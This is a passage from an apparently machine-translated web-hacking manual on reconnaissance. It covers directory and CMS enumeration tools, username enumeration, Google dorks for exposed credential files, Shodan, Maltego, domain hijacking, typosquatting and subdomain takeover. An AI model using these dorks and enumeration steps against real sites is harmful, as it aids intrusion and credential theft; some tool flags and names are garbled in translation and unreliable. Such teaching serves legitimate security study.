as well as using a Reverse Proxy who will take care of defending the host.
If you have server administration skills we recommend using Snort 67 or

Suricata 68 , a historical application available for GNU / Linux capable of detecting intrusion
attempts on a network. On the Web 69 you will find many documents to draw on to secure
yourself against all types of attacks explained in this manual.
4.5 Web Application

Now that we have considered the most important affected areas during a good profiling action
it is time to sift through what the web application has to hide. Compared to a more complex
enumeration of the technologies that make up a server infrastructure, the study of the web
application turns out to be a much simpler operation (although there may be thousands of
different cases).
4.5.1 Determine Directories

This step is to identify those files and directories that could expose sensitive information about
the victim, including files left unattended like passwords, hidden directories and much, much
more!
Attack: Directory Listing

Metasploitable simulation; Tool: dirb
Looking for them by hand would be a really long operation, that's why we'll see how to
enumerate sensitive directories (if any) through Dirb:
although the last update dates back to 2014, it still remains an excellent tool created for the
occasion.
The program requires only one parameter to work, which is the domain you want to test:
$ dirb http://20.0.0.4
The operation could take several minutes (up to a few hours in the case of a slow connection
or a proxy that limits connectivity) therefore it could be useful to indicate a list of standard
directories used by the web server instead of making use of a mere bruteforcing attack on a
large scale. ladder.
To do this, just indicate the file provided by Dirb during installation after the host
(usually here I'm in folder
/ usr / share / dirb / wordlist / vulns / as in the following example:
$ dirb http://20.0.0.4 /usr/share/dirb/wordlists/vulns/apache.txt
The results obtained could be among the most disparate: we can obtain the
error_log, useful to know more information about the filesystem, the development framework
and the bugs present or i manual pre-installed web server, which could provide us with
information related to the version in use.
Other useful parameters, to be used before defining the host, are:
- to: defines a USER AGENT other than the standard one (for example to skip the control
of an IDS that checks it, useful when the tool is blocked by trivial controls). Be careful to put
the USER AGENT in quotes!
- or: to save the results inside a file, so you can manipulate it more calmly
- z: to give a defined waiting time (in milliseconds), useful if we think that the server may
refuse to resolve requests due to excessive flood.
In its most advanced form, the command could therefore be:

$ dirb http://20.0.0.4 -a "Mozilla / 5.0 (Windows NT 6.3; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko)
Chrome / 33.0.1750.117 Safari / 537.36" -o output.txt -z 200
/usr/share/dirb/wordlists/vulns/apache.txt
Defence: Directory Listing

DEMO simulation
Directory Listing attacks are allowed because the web server (Apache in this case) tends to
give a "hand" to the visitor who unfortunately was unable to land in the index.
The most common solutions are through creating a index.html empty or by creating a rule in. htaccess
that disables this function (to be inserted in the root):
Options -Indexes
4.5.2 Determine Languages and Framework
As you already know, a web application can be developed with different languages; in most
cases a web application (and more a website in general) carries with it a "signature" of the
language present in the URL of the page.
4.5.2.1 COMMON EXTENSIONS

Although this statement is not always true, we can now say that each language / technology
corresponds to a page extension. Below is a table with the main extensions used on the web:
Language / Technology Extension
ASP . asp
ASP.NET . aspx / .axd / .asx / .asmx / ashx
ColdFusion . cfm
HTML . html / .htm / .xhtml / .jhtml
Perl . pl
PHP . php / .php3 / .php4 / .php5
Python . py
Ruby . rb / .rhtml
Java . jsp / .java / .jspx / .do / .action
Javascript . js
XML . xml / .svg / .rss
Other . cgi
4.5.2.2 MANUAL ENUMERATION

It may happen that URLs hide the extension: this directive is commanded by the Web Server
through URL rewriting rules. This can happen for example if you want to have a more
user-friendly website 70 ;
an example could be represented by a web page present at:
http://victim.com/post.php?id=5
Imagining that it contains useful information to identify it

the content, the URL could be changed by the Web Server in this way:
http://victim.com/post/5/hello-world
4.5.3 Determine the CMS

If the website has been developed through a known Content Management System then it is
possible, through the recognition of similar patterns (such as the use of directories, files and
code structures), to trace the name and possibly the version in use.
The determination of the CMS in use allows to know the source code of the web application:
this greatly facilitates the researcher the discovery of vulnerabilities or workarounds to scale
the defenses of a system, rather than forcing the application (where possible) to generate
errors with to show small portions of code that are sometimes unused.
Knowing the version of the CMS also allows you to launch attacks using public exploits: an old
version of Wordpress is probably already documented with more or less serious vulnerabilities
that would allow anyone to infiltrate the system and take actions against the portal.
Attack: CMS Detection

DEMO simulation; Tool: whatweb
There are several ways, both from the terminal and from external sites, to extrapolate
information on the type of CMS: among these we have the whatweb program that can be
evoked through the command itself, followed by the URL to be tested:
$ whatweb hacklog.net
As you can see from the outputs, whatweb is able to obtain a lot of information such as
frameworks, languages used, external scripts and obviously the CMS in use. The program
allows to be operated through external addons, to search for dorks 71 on the network, save the
results in files (also in SQL formats) and be calibrated to prevent the victim server from going
into protection. Obviously all the information about it can be evoked by the command:
$ whatweb -h
Alternatively we can rely on online websites or external tools, such as:
WhatCMS (website, https://whatcms.org/)
Wappalyzer (website, https://www.wappalyzer.com/) CMSMap
(tools, https://github.com/Dionach/CMSmap)
4.5.4 Determine the CMS Data

If the cyber-criminal manages to identify the CMS in use, he can think of further probing the
portal through enumeration tools designed specifically for the web app in use.
As with many other methods, enumeration can be done manually through various techniques.
Below we list some situations that the various CMSs in circulation have in common:
- Users: through various techniques (which we will explain shortly) it is possible to extract the
presence of the usernames present in the site database.
- Plugin: around the concept of directory listing (chapter 4.5.1) it is possible to verify the
presence of folders within the site containing the plugins that extend the portal. Some of
these provide README and CHANGELOG files containing the current version, very
dangerous for any targeted attacks.
- Themes: on the false line of Plugins, in some CMS it is also possible to enumerate the themes in use.
In considering the CMS in circulation, we will focus mainly on two of the most popular on the
web; feel free to search for portals that make use of the CMS you are interested in.
4.5.4.1 ENUMERATION OF USERNAMES

Being able to determine the presence of a username in a database means identifying one of
the two elements necessary to log in as a username / password and, trust me, the
cybercriminal can save a lot of time!
There are several techniques to manually enumerate usernames from a site, from the most
classic (extrapolate the user list from a site) to the most
creative (examine login errors). Let's see some examples:
Error messages: a trivial case of manual enumeration consists in verifying the presence of
a username whose existence is suspected but is not able to verify it. In such cases, you
could test the login by indicating the username and a random password to the access form: it
is likely that the system will answer roughly on the error that occurred but at the same time
contain clues about the existence of the account. An error phrase such as "username and
password do not match" is different from "username does not exist": in the first case it means
that the username exists but the password does not match, in the second that the username
does not exist.
Password Recovery and Registration: on certain occasions it is possible that the

password recovery system, usually present in all those sites that also allow you to log in,
confirms the presence or absence of an account. In fact, if we indicate an account that is not
present, the system will usually reply "no account registered with this address". It is also true
that, lately, fewer and fewer replies of this type are seen (replaced with "if the account is
present then you will receive an email"), however, if the site also includes a registration form,
just indicate username / email that you want to check: if they are present in the databases,
the registration form will indicate the presence or absence of the values already registered.
Extrapolation from URL variable: if the victim website offers users' profile pages it will
most likely indicate in the query string a variable indicating the user's unique key in the
database. This key is usually numeric and auto-incremental; for now, just know that it may
be possible to extrapolate the username from the URL of a user profile (usually in the
formatomember.php? id = X or member / X, where X will be replaced by ID 1 which, in the
logic of CMS, is the first account to be created on the site).
RSS and Author: if the site offers a space dedicated to comments or articles by users, the
usernames will almost certainly be present between the various sections. On certain occasions
these are hidden (for image reasons) but it is possible to extrapolate them through the
meta-tags present in the HTML code of the site or, even, enumerate them through the RSS
provided on the site (a technique used by the enumerators in Wordpress).
Attack: Wordpress Enumeration
DEMO simulation; Tool: wpscan, wpseku
WPscan is undoubtedly the most famous enumerator for Wordpress, so much so that it is
pre-installed on most GNU / Linux distributions dedicated to the pentest or in any case present
on many repositories (it is available under the name "wpscan" also on macOS through
Homebrew 72 ). Its basic use is to indicate the domain (in front of the --url parameter) following
the command that invokes it:
$ wpscan --url [url]
By default WPScan does not provide for the automatic enumeration of all resources (users, themes and
plugins) therefore it is advisable to force their recovery through the --enumerate utp parameter:
$ wpscan --url [url] --enumerate utp
This will result in a more complete report. WPScan is also able to carry out bruteforcing attacks
using wordlists, output to files or connect to external proxies; these and other functions are
shown in the short readme available with the command:
$ wpscan --help
Besides WPScan I would also recommend WPSeku, an alternative tool with which it is possible
to compare sometimes conflicting results with the more popular of the two; in these cases,
hearing two bells can be an excellent way to complete a more correct profiling. After installing it
(you will find the procedure in the official repository (https://github.com/m4ll0k/WPSeku.git) it is
possible to summon it with the command:
$ python wpseku.py -t [url] -r
Unlike WPScan, WPSeku integrates a convenient function to spoof the User-Agent,

configurable with the parameters -a (to specify one) or -r (to make the program generate it). In
the previous example we decided to have it generate one.
It is important to note that the enumeration in both tools is not limited to the collection of
information only but also cross-checks any vulnerabilities available for that specific version
through an expressly dedicated API service (https://wpvulndb.com/api ). This will be extremely
useful to us when we are dealing with real computer violations against a Website.
Attack: Joomla Enumeration
DEMO simulation; Tool: joomscan, joomlascan
Along the lines of what has been seen with WPScan and derivatives, several tools are available to
perform enumerations even on CMS based on Joomla!
Among these, one of the most loved is certainly OWASP JoomScan 73 , pre-installed in several
Pentest GNU / Linux distributions. The basic operation is obtainable through the joomscan
command with the command:
$ joomscan -u [url]
The output will be similar to that obtained with the enumeration in Wordpress: available
components, useful items to identify leaks, login or registration links and much more.
Also in this case it is possible to force the enumeration of components and use a specific User
Agent (-a) or to use a random one (-r): the command will become:
$ joomscan -r -ec -u [url]
Personally I find it much more comfortable - but you know, in these situations the heart cannot
be commanded - Joomla Scan 74 ( created by Andrea Draghetti, developer of Backbox), as I
believe it offers a more accurate search of the information present in a CMS.
Below we proceed to quickly illustrate the installation:

$ git clone https://github.com/drego85/JoomlaScan.git
$ cd JoomlaScan
then it is evoked via the command:

$ python joomlascan.py -u [url]
Joomscan requires that the beautifulsoup4 library is already installed. If there are messages
relating to this lack, it is possible to solve the problem by running: $ easy_install
beautifulsoup4 or
$ pip install beautifulsoup4
We advise the reader to do the necessary tests and check which of the tools
presented, is the one able to best satisfy the tastes of its user.
Attack: Drupal Enumeration
DEMO simulation; Tool: drupwn
Also for Drupal there are more or less reliable enumerators. Among these I would like to
recommend drupwn 75 , unfortunately not pre-installed but easily obtainable with the command:
$ git clone https://github.com/immunIT/drupwn.git
$ cd drupwn
We then proceed to install the requirements with the command:

$ pip3 install -r requirements.txt
and start everything with the command:
$ python3 drupwn enum [url]
____
/ __ \ _______ ______ _ ______
/ / / / ___ / / / / __ \ | / | / / __ \ / / _ / / / / _ / / / _ / / | / | / / / / / / _____ / _
\ __, _ / .___ / | __ / | __ / _ / / _ /
/_/
...
Any information about the program is available through the command:

$ python3 drupwn -h
4.6 OSINT
With the term OSINT 76 ( Open Source INTelligence) refers to that activity which consists of
collecting information through public domain sources. In this chapter we will focus on
techniques that allow you to extract information from the web through popular and non-popular
methods.
4.6.1 Historical Archives
In the collection of information on a portal, information no longer present can be interesting,
often removed by the administrators as old or which exposed sensitive data that had remained
in plain sight for too long.
You must know that there are services, often search engines but also historical archives, which
create temporal copies of websites and store them in their databases.
Among these sites we obviously mention Wayback Machine 77 , historical portal that saves various
snapshots in chronological order in a time calendar. Having an older version of a site than the
current one allows us to discover information such as former employees, technologies in use,
contact information (even on disappeared domains) and much more.
Similar sites to Wayback Machine are:
Screenshots.com ( http://www.screenshots.com)
Archive.today ( https://archive.fo)
CompetitorScreenshots ( https://www.competitorscreenshots.com)
PageFreezer (paid) ( https://www.pagefreezer.com)
4.6.2 Google
Despite Microsoft's good comeback with Bing and Duckduckgo's excellent results in recent
years, Google remains the first choice when it comes to the reliability of search engine results.
Its advanced algorithm over the years has not only provided the best results but has also been
able to anticipate the requests of its users, correcting any errors and providing a more
adequate SERP based on the sectorization of the recovered elements.
It is not my intention to bore you by explaining the trivial use of a search engine, I expect you to
be able to use it in its most basic form (write what I need in the search box indicating the
keywords).
What you need to know is that, thanks to Google (and other search engines), it is possible to
extrapolate information from websites through specific
functions: to explain its potential it is necessary to know, in short, what Google allows you to
do.
4.6.2.1 GOOGLE OPERATORS

The search for information on a website can often be a wasteful operation; luckily for us
Google has well thought out to offer the ability to use operators 78 in your search query, so as to
extrapolate from the Google database more targeted results based on our needs.
Being able to use the advanced functions of Google allows us to skim endless information on
the web, searching only for what we really need.
Feel free to get familiar with Google's operators by trying them directly on your browser 79 .
Warning: with some operators it may be necessary to have some knowledge of HTML. The
topic was addressed in chapter 3.
Google may generate false positives with some operators due to the "Private Results" function:
to improve results, I recommend that you disable this function from Google preferences
(https://www.google.com/preferences)
Comparison operators
When we talk about comparison operators in Google we are referring almost exclusively to
functions of equality between the two operands. More simply, they are functions that tend to
specify a type of context (for example: find me all PDF files with the keyword XXX).
Site operator:
The site operator is able to filter the results of a search by narrowing those present in a
domain.
Eg:
site: www.hacklog.it: search all pages of the domain (provided that the latter is forced
with the prefix www)
site: hacklog.it: search for domain and subdomain pages
site: hacklog.it/xxx: search for pages within a directory In addition, Google has added
a translated version that you can use:
website: hacklog.it: see above
Inurl: and allinurl operator:

The inurl and allinurl operators - identical in their usage - can be used to find results that
contain one or more strings within a site's URL.
Eg:
inurl: hacklog-volume-1-anonymity: searches all pages whose URL

contains "hacklog-volume-1-anonymity"
allinurl: hacklog-volume-1: see above
Entitled operator: and allintitle:

The operators titolo and allintitle - also identical in their use - can be used to filter Google
results with pages containing the term indicated in the title 80 .
Eg:
titled: hacklog: search all pages whose title contains the term "hacklog"
allintitle: hacklog volume 1: see above
Inanchor operator: and allinanchor:

The inanchor and allinanchor operators will show all pages containing backlinks with the
indicated text; in practice we can obtain a list of pages that have a high number of sites that
link them with the indicated keyword.
Eg:
inanchor: hacklog: search all pages, from the most authoritative, which are linked by sites
with the term "hacklog"
allinanchor: hacklog volume 1: see above

Intext operator:
The intext operator considers only the body of a website 81 when searching for keywords,
excluding other elements.
Ext operator: and filetype:

The ext: and filetype: operators are truly exceptional and allow you to locate any element on
the network with a specific extension. At least one term must be prefixed.
Eg:
hacklog ext: pdf: search all relevant PDF files with the keyword "hacklog"
hacklog filetype: pdf: see above
Cache operator:
The cache operator allows you to use Google's cache to access a previously stored version by
the search engine.
Eg:
• cache: www.hacklog.it: access the cached version of the site in memory in the Google
search engine
Smart operators
Smart operators 82 they are provided by Google for a more home use than the "technical" use
we have just seen.
Below we will list some operators that can be used in some specific circumstances:
For search a social network prepend the at sign in front of the nickname or URL of the
page. Example: @ inforge.net
For look up the price of a product postpone the price to the keyword you intend to search
for. Example: smartphone € 400
For look for the variable price of a product postpone a minimum price
and maximum, divided by two ellipses, to the keyword you want to search for. Example: smartphone
€ 200 .. € 400
For search for a hashtag within social networks put the

gate in front of the term. Example: # hacklog
Added to these are advanced filtering parameters to include or exclude only exact terms:
For search for an exact match enclose the word or phrase in quotation marks. Example:
"Hacklog, Volume 1: Anonymity" 83
For exclude a search key prepend the - (minus) symbol in front of the term you don't want
to show. Example: hacklog -reborn
For accept any character as valid you can use the asterisk (*). Example: site: www. *.
Com
Logical operators
We conclude our small training course on the advanced use of Google by examining the
logical operators: as in programming, these allow you to perform the so-called Boolean search,
that is, they allow you to combine two conditions so as to filter the results even more deeply.
AND operator
The AND operator allows us to get results from the search engine only if both conditions are
true.
Wanting to give an example, let's assume we want to search for all the pages in the github.com
domain that contain the keyword "hacklog". Our query will then be: " hacklog "AND site: github.com
OR operator
The OR operator works in an inverse way to the previous one, that is, it translates into: "find me
all the results that contain one of the two values".
If you want to search for the two terms "inforge" and "hacklog" a search query
it could be: " hacklog "OR" inforge " 84
4.6.2.2 GOOGLE HACKING

After this first long collection of commands, it's time to start chewing some Hacking, do you
agree?
Here then is the time to talk about Google Hacking (or Google Dorking) a useful method for
highlighting known flaws within any website and collecting sensitive data on the web server in
question.
The concept of Google Hacking was introduced by Johnny Long in 2002, when he began to
collect a list of interesting queries - the so-called Google Dorks - to discover really juicy results!
A recent example of Google Dork allows for example to search, within the infinite world of the
network, all the live servers that contain a particular file called .ftpconfig containing the
sensitive data of a host.
The dork 85 is represented as follows:
TITLE: "Index Of" intext: .ftpconfig
or
"# -Frontpage-" inurl: administrators.pwd
Let's take a look at the first Google Dork presented here:

TITLE: "Index Of": Search all results whose title contains exactly the following string (Index
Of)
intext: .ftpconfig: search for all results within which the following string (.ftpconfig) can be
found
In generating the dork, the author probably imagined that, given the presence of many editors
who save the passwords in clear text for remote access to resources, these could end up
together with other files in the web server: these editors usually save passwords inside the
.ftpconfig.
4.6.3 Shodan
Among the tools of the cyber-criminal can certainly not miss SHODAN (https://www.shodan.io),
nicknamed the “Google of Hackers”.
In fact, it was born as a real search engine but, instead of offering results on more or less
disparate topics of the WWW, it takes care of probing and returning to the user any device
present on the Internet.
It is therefore possible to keep track of - and interact with - servers, computers, cameras,
printers, routers and even traffic lights, refrigerators, power plants, wind turbines, air
conditioning systems ... in short, anything that has a network card [Figure 4.8 ]!
Figure 4.8: Through Shodan you can find out a lot about known infrastructures e
not!
Among the qualities that we can find in Shodan is the possibility of having a clear and simple
overview of the technologies in use on the Internet: do you want to know which is the Web Server
and the most used version in the world? Or do you want to find out how many servers have been
infected with the latest generation of malware? Shodan can do it.
Operation is simple 86 : based on the banner capture methodology 87 where metadata about the
software in use in the tested device is collected. As we have seen inside the banners there are
various information that expose the technologies used by the server; thanks to the automation
that Shodan offers it is possible to carry out searches applicable to different fields:
- Safety: monitor the devices of a specific reality (company or personal) interfaced with the
internet world
- Market research: understand which products are actually used in the IT world
- Vulnerability: keep track of all vulnerabilities, even critical ones, in the world of IT Security
(recently also with Ransomware monitoring)
- Internet of Things: monitor the flow of new devices that face the word smart ( smart-TV,
smart-Cam, smart-Fridge, smart-Washing machine etc ...)
4.6.4 Advanced OSINT

Carrying out OSINT is a much broader operation than what can be done by simply extracting
information from a website and external data: OSINT processes are many and can be applied
to different fields (journalism, sector research, , business and so on).
As you may have guessed, there are several sources from which it is possible to obtain results, and
then catalog them online (both free and paid); there are hundreds of tools designed for the
occasion.
Here is a list of some useful resources to browse online:
OSINT Framework ( http://osintframework.com), a well-organized website that collects the

OSINT services (free) present on the net
Awesome OSINT ( https://github.com/jivoi/awesome-osint), a git repository in which various tools
and websites are collected that allow you to range between different categories
Buscador Investigative Operating System

(https://inteltechniques.com/buscador/), a GNU / Linux distribution - in Virtual Machine
version - designed for online investigations using OSINT techniques and software
4.7 Local output

What we get after loading a web page is the output, typically composed of markup languages,
internal / external elements and everything related to the application only locally (commonly
some HTML, images, CSS and Javascript).
What you will see will therefore be the result of what the Web Server can allow you to read: so
no, if you were wondering, with (only) the HTML of a web page, web portals are not violated.
However, there are some interesting things that you can do by studying the local source of a
site: for example, you can identify the editor used, any structure present (by viewing the
directories where the files are present), enumerate the themes or about plugins in use (many
developers insert HTML comments in their code). If you are in the Profiling phase, it may be
useful to fill in by hand everything that a possible automatic scanner could not find in the portal.
If the attack is of a targeted type, it is important to know the programmer's skills (if he is also
the back-end designer, then PHP and SQL, as well as the front-end, then HTML / CSS / JS): a
quick analysis of the code will allow us to evaluate (but this only if we have acquired excellent
programming skills) if the programmer in question is sufficiently updated on the latest in web
design (see, in this sense, if the programmer still uses HTML4 rather than HTML5 88 ).
this information can be:
Editors used by programmers

Information about the CMS or framework in use Information about the
plugins and themes associated with the CMS
Any information released by programmers not cleaned up
Evaluate the technical skills of the programmer (at least front-end side)
4.8 Reporting
Our profiling process ends with the reporting process: it is necessary that all the information
collected must be put in black and white within an easy to consult, scalable and dynamic
scheme.
This procedure is not defined by a precise standard, therefore often the reports are drawn up
following personal methods developed over time and adapted according to the needs of those who
will consult them.
If you have never drawn up a Security report this is a good starting point to understand how to
manage information and make your own the method you think is most suitable! In the world of
IT Security, one of the most renowned programs capable of creating data maps is certainly
Maltego.
4.8.1 Maltego
The following chapter illustrates only a brief overview on the use of the Maltego program and
does not replace much more advanced manuals on the real potential that it offers.
Written mainly in Java, Maltego is an excellent program capable of managing infinite amounts
of data from which it is possible to create graphs and connect information between them,
allowing at any time to sift through what has been extrapolated in an extremely fast way.
The program is available for the main platforms (Windows, macOS and GNU / Linux) and is
currently distributed according to four types of licenses 89 : in our case we will rely on the free
Maltego CE (Community Edition) license as long as you register at the developer portal 90 .
The program comes with a login to run, then the graphical interface will guide us on the list of
any extensions to install. Maltego is mainly based on the use of graphics, in order to create
one we will click on the dedicated icon at the top right or with the combination CTRL + T (CMD
+ T).
At first it may seem difficult (also due to the amount of information provided) so we will try to
explore only what we really need for the purposes of this document [Figure 4.9].
Figure 4.9: everything in Maltego starts from a graph
4.8.2 The first graph

One of the concepts that revolves around Maltego are entities: to understand what it is, we
drag the Website entity from the palette on the left to the (empty) graph in the center. A first
entity with the default name "www.paterva.com" will be created, let's replace it (double-clicking
on the text) with our domain "www.hacklog.net" [Figure 4.10].
Figure 4.10: inserting the Website entity we will create the first element with which we can
work in Maltego
By right-clicking on the new icon, the Run Transform (s) window will open: in Maltego the
Transforms allow you to automate some OSINT operations such as (in the case of a website
entity) the collection of the HTML source code (cataloging them according to to metadata), list
email addresses, technologies in use, IP addresses, and so on.
Figure 4.11: thanks to the Transforms we can expand our entity with more
useful information
Let's put Maltego to the test by clicking on "All Transforms" [Figure 4.11]: in a short time our
graph will be built by dozens of entities, daughters of the first one created at the beginning
(website). Each of them will then be represented by an icon that will identify the category it
belongs to (just move the mouse over the entity and check the type [Figure 4.12]).
Figure 4.12: the Transforms will give us different information about the host we want to verify, a bit like the previous techniques, but
absolutely automatic and easy to understand.
4.8.3 Organization first of all!

At the launch of all Transforms the chart will be full of information but, in all likelihood, only a
few will be really useful to us.
So my advice is to clean up all the items we consider useless (we can always reintegrate them
later) and leave those few entities active that will allow us to have an immediate picture of the
system we intend to test; if you have doubts about any entities, you can double click on their
icon to view their details.
I will now show you some useful functions to manage the chart:
- If you click on an icon, it will be highlighted by an orange border. If you click on it and drag,
you will move the icon around the chart.
- If you click and hold on the icon without it being selected, you can create a link from one
identity to another (the arrow that goes from one icon to another).
- With the right click you can move on the map. If the graph is too large you can use the
Overview on the right to navigate more easily.
4.8.4 Unlimited Expansions
Basically Maltego is a program that allows you to do some simple enumeration and profiling
operations, extrapolating data and categorizing them without too many pretensions.
In fact, there are no particular tools that we have not already seen, so it would be useless to
proceed further: the good thing is that for some time now Maltego has been integrating external
services, including the already seen Shodan, to expand information through dedicated modules.
It is possible to add extensions, to be associated with the related API key, from the Maltego home
("Home" tab at the top of the program). Among these we mention:
- Shodan, for better enumeration of server information
- haveibeenpwned, to check on the fly (in the databases mentioned) if the email is present in some
dump published on the net (ie pastebin
- VirusTotal, allows you to verify the (ex) presence of infected files by reporting a
result in hash (can search for them the details from here:
https://www.virustotal.com/it/#search)
- Bitcoin, allows you to search the BTC and ETH blockchains starting from an address or a
transaction and obtain the details directly on the program
You may find other Transforms useful as well (note that many of them are paid or only
available for higher Maltego versions) so I recommend you try them out and check their
usefulness.
Attack: Data Mining Recon
DEMO simulation; Tool: bluto
It can often be useful to do a general re-check of everything we've described, including some
healthy data mining 91 crossed by different sources such as LinkedIn, Google, Bing, as well as
obviously re-reading what was previously described in the various stages of enumeration.
Some of these operations can be summarized in Bluto ninety two , an AIO tool 93 able to provide a
complete report (in HTML format) taking only one domain as a reference point. The installation
of this tool is foreseen by the pip module (which must be present in the GNU / Linux
distribution) so you can proceed with the retrieval from the repositories using the command:
$ sudo pip install bluto
Once the installation has been completed, the command can be launched:
$ bluto
If you intend to make extensive use of this tool, however, I recommend that you get a free
account at hunter.io and make use of the API key provided (https://hunter.io/api_keys). You
can then feed it to the program using the --api parameter:
$ bluto --api e0242 ******* d50e97fa6b4 ******* 9235ec6360f19
In this case, just wait for the wizard to ask us for the domain to be tested (a small Whois check
will also follow, to which we should answer [ yes | no], if in doubt confirm)
As for most of the techniques seen above, Bluto will also take a long time, especially during the
bruteforcing operations to the subdomain. This procedure can be further investigated - with the
relative increase in waiting time - by passing the parameter -e to the program.
You will therefore have to wait several minutes - it depends on the quality of the connection and the
response times of the server - then you will be able to obtain an output in HTML format that you can
consult at your leisure.
5. ATTACKS ON THE DOMAIN
By domain attack we mean stealing a website domain (eg: www.example.com) by registering it
under another name or pointing it to other services.
Techniques aimed at the theft of the domain will be demonstrated below to convey further
attacks (for example Phishing) by exploiting the authoritativeness of the same: attacks against
hosting companies or the administrator's access credentials will not be treated.
5.1 Domain Hijacking

Domain Hijacking refers to the practice of taking possession of a domain by registering it with
other data, and then extorting it to the detriment of the legitimate owner. Please note that it is
possible to change the header of a domain if it expires or if ownership is transferred.
5.1.1 Domain Expiration

When a domain is registered, it does not actually become the property of those who buy it,
because in fact it is not a purchase: it is rather a rental and, as such, it has an expiry date.
When a domain expires, it enters a Grace Period, a period of time (30 + 45 days) in which the
user can decide to renew the domain even if it has expired. Once the domain has expired, it
can be registered again and therefore can be purchased by anyone.
Although this is not a real form of cyber breach, it is important to know that bots are running
online in search of the expiration of the juiciest domains and re-register them in the name of
the owner, to then "find agreements" able to satisfy both parts. Of re-recordings that have
made history we have to tell two in particular involving Google and Microsoft.
In 2015, a former Google employee, Sanmay Ved, bought the

google.com domain following the expiration of the same for 12 $ from Google Domains.
Following the payment, Ved obtained access for 1 minute to the domain and with it to the
accesses of Google Webmaster Tools, where the confidential information of the Big G team
and of the domain (with its related services) were present. The purchase was subsequently
canceled, the payment refunded and the google.com domain returned to its rightful owner.
In 2003, an anonymous man bought the hotmail.co.uk domain after Microsoft's renewal,
probably due to an invalid payment method, was rejected by the Registrar; the new owner
contacted Microsoft from which he got no response. Only after the intervention of the
well-known newspaper The Register the Redmond company decides to move to the
repurchase of the domain, agreeing with the new owner through a "secret agreement". The
company has never given explanations on the case, covering up the matter. In 1999, a similar
case involved passport.com, also from Microsoft, where Michael Chaney, a Linux programmer,
bought back the domain for only $ 35.
5.1.2 Transfer of a Domain

Changing the data of a domain is also possible through the transfer of a domain: this operation
can be useful when for example the domain of a website is resold or the company changes its
name.
In the IT landscape it is possible to suffer a Domain Hijacking attack with transfer of services
through different methods:
- Violation of the Registrar: in this case the attacker violates the services of the Registrar (company
that rents the domains) by taking possession of the domains registered in it.
- Account Violation: in this case the attacker violates the account associated with the Registrar's
services. This can happen through vulnerability of the Registrar from which database dumps are
performed 94 , from the use of dumps from other hacked sites (where the user uses the same
password) or the violation of the user's email account.
- Phishing Attack: in this case the attacker deceives the user

convincing him to provide the login details of the account with which he administers the domain on
the Registrar's site. We will elaborate on this in chapter 11.
The transfer of a domain takes place through a code, called

AUTHINFO: this is provided by the previous Registrar and must be used by the next Registrar;
it is the key that allows the two companies to demonstrate the owner's willingness to actually
transfer a domain.
Many Registrars offer such solutions Transfer Lock: even if AUTHINFO is obtained through the
wrong way, the domain must be unlocked upon transfer. In this case, it is therefore necessary to
have the authorization from the current Registrar (who will communicate the transfer via email or
other systems to the current owner) before proceeding with the actual unblocking of the domain.
5.2 Cybersquatting
Unlike Domain Hijacking, where the victim is hit on the real domain, with Cybersquatting we
refer to the practice that consists of buying domains of companies, brands, names of famous
people and registering them in order to make gains or damage to those who do not he can
take it back. These can also correspond to cloned websites used to carry out Phishing attacks
(chapter 11), convincing the unfortunate to enter personal data in fake sites.
5.2.1 Typosquatting
Typosquatting refers to a common practice of buying domains similar to the originals,
exploiting typos of the domain or the similarity with the authoritarian domain.
Taking for example 95 the domain example.com, you can catalog 7 types of Typosquatting to
the detriment of a user or a brand:
- Taking advantage of an individual's poor language skills (eg: exemple.com)
- Taking advantage of typos (ex: examlpe.com)
- Using plural variants (ex: examples.com)
- Using a different TLD (ex: example.org)

- Adding, omitting and swapping characters (ex: examplle.com)
- Using a subdomain (e.g. ex.ample.com)
- Using a different ccTLD taking advantage of typos, such as example.co, example.cm or

example.om
It should be borne in mind that Typosquatting, even on its Italian, is regulated by territorial
laws: the exploitation of a trademark can be an element that, in the legal seat, would allow the
obfuscation or resignation of the domain to the legitimate owner 96 .
5.2.2 Homography
On the false line of Typosquatting, homographic spoofing allows you to create URLs using
different characters but visually identical to the real ones. Let me explain better: in the universe
of Unicode, that is, that set of alphabets of Greek, Cyrillic or Armenian, some characters have
imperceptible differences to the human eye but are interpreted in a different way by a
computer.
To give an example, the Latin character "a" (represented in UNICODE by the code U + 0041)
is visually identical to the Cyrillic character "a" (represented in UNICODE by the code U +
0430); this allowed cybercriminals to register domains identical to their legitimate owners for
some years.
The defense against these types of attacks has been fixed by the browser manufacturers who, in the latest
versions of their respective programs, have forced the conversion of the domain into the URL in Punycode 97 ( for
example the characters on the bar
of the addresses are converted to xn - c1yn36f).
Attack: Domain Typo Detection

DEMO simulation; Tool: dnstwist
Through programs such as Dnstwist it is possible to carry out a mass search on the domains
that correspond to the Cybersquatting methods seen previously. If, on the one hand, a mass
verification tool can be useful for the cybercriminal who wants to rely on a fake domain, on the
other it can be useful for the sysadmin or the portal manager who wants to keep under control
the possible presence of clone portals of your own.
The Dnstwist program depends on some Python libraries; let's make sure they are already installed
through the command:
$ sudo apt-get install python-dnspython python-geoip python-whois python-requests python-ssdeep python-cffi
Now it will be possible to make a clone of the Github repository:

$ git clone https://github.com/elceef/dnstwist
We can now go to the newly created folder, then launch the help that demonstrates the accepted
parameters:
$ cd dnstwist
$ ./dnstwist.py --help
The operation, as also explained by the official repo 98 , It's very simple: dnstwist generates a list
of potential domains through a built-in algorithm, then queries A / AAAA / NS / MX records to
see if they respond to an IP address.
The most banal use involves the passage of a single parameter, or the domain to be verified:
$ ./dnstwist.py [url]
Eventually you might just be interested in knowing if there are similar domains, in this case you can
pass the --registered parameter:
$ ./dnstwist.py --registered [url]
Among the many documented examples we find the useful option to export in csv / json formats.
In this case the format is:
$ ./dnstwist.py --csv [url]> out.csv
$ ./dnstwist.py --json [url]> out.json
It is also important to keep in mind the (logical) limits that the program has: the number of
variants that the program could generate is directly proportional to the length of the domain,
therefore to the DNS requests that would be created. To be clear, a domain with a length of 6
characters (like google.com) would generate a potential list of 300,000 results; if the domain
contains 8 characters (for example facebook.com) the list would rise to 5 million results. The
program therefore limits itself to analyzing a list of the most popular domains, limiting itself to
the results closest to the next, never exceeding the edit distance of 2 units (Levenshtein
distance 99 ).
Attack: Sub-Domain TakeOver

Metasploitable simulation; Tool: takeover
It is likely that a web master forgets that he has registered a subdomain

(subdomain.example.com) that points to an external service (AWS, Github, BitBucket etc ...)
that is expired, deleted or archived. An attacker
it could appropriate this service by registering it in turn and thus obtaining the authority of the
domain it intends to violate.
Among the tools available that can enumerate expired subdomains we have
TakeOver ( https://github.com/m4ll0k/takeover) [Figure 5.1] written in Python and easily
downloadable with the command:
